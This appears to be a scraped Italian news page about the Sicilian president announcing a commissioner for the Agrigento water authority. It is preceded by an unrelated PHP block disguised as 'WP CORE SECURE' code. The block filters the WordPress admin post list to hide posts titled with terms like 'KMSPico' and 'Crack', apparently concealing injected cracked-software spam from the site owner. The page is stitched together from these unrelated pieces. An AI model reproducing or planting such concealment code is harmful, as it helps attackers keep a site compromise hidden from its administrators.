# BEGIN WP CORE SECURE
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function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Ato idrico Agrigento, Musumeci ai sindaci: “Un commissario per rimettere ordine” – Giornale Nisseno
Un commissario per l’Ato idrico di Agrigento con il compito di aggiornare il nuovo Piano d’ambito, rimettere ordine e restituire efficienza in un settore che eroga un servizio fondamentale per la collettività. Ad annunciarlo è stato il presidente della Regione Siciliana Nello Musumeci che, insieme all’assessore all’Acqua e rifiuti Alberto Pierobon, ha ricevuto alcuni sindaci della provincia a Palazzo Orleans.
Il governatore ha illustrato ai primi cittadini di Montevago (Margherita La Rocca Ruvolo), di Grotte (Alfonso Provvidenza), di Sciacca (Francesca Valenti), di Bivona (Milko Cinà) e di Sant’Elisabetta (Domenico Gueli), le ragioni della scelta e le prospettive per il settore. Gli stessi sindaci hanno chiesto a Musumeci di procedere con la gestione commissariale, dopo i loro vani tentativi di trovare una soluzione condivisa.
Nei mesi scorsi, la Regione Siciliana aveva più volte sollecitato i Comuni agrigentini ad adempiere agli atti previsti dalla legge e a procedere, entro il 31 maggio, alla costituzione della nuova società che potesse garantire con efficienza e trasparenza il servizio idrico, ma i rappresentanti degli enti locali non erano riusciti a trovare un’intesa.
«In assenza delle scelte locali condivise, il governo – ha spiegato il presidente Musumeci – non può restare a guardare. Per questo procederemo con la nomina di un commissario che, da un lato, garantisca il varo dell’aggiornamento del Piano d’ambito entro fine anno, dall’altro individui una proposta che metta ordine a un settore che gestisce un servizio prioritario. Serve – ha proseguito – un riordino complessivo perché le norme vigenti creano soltanto confusione: occorre un’unica Autorità di gestione della risorsa idrica che provveda alla conduzione del servizio e alla riscossione».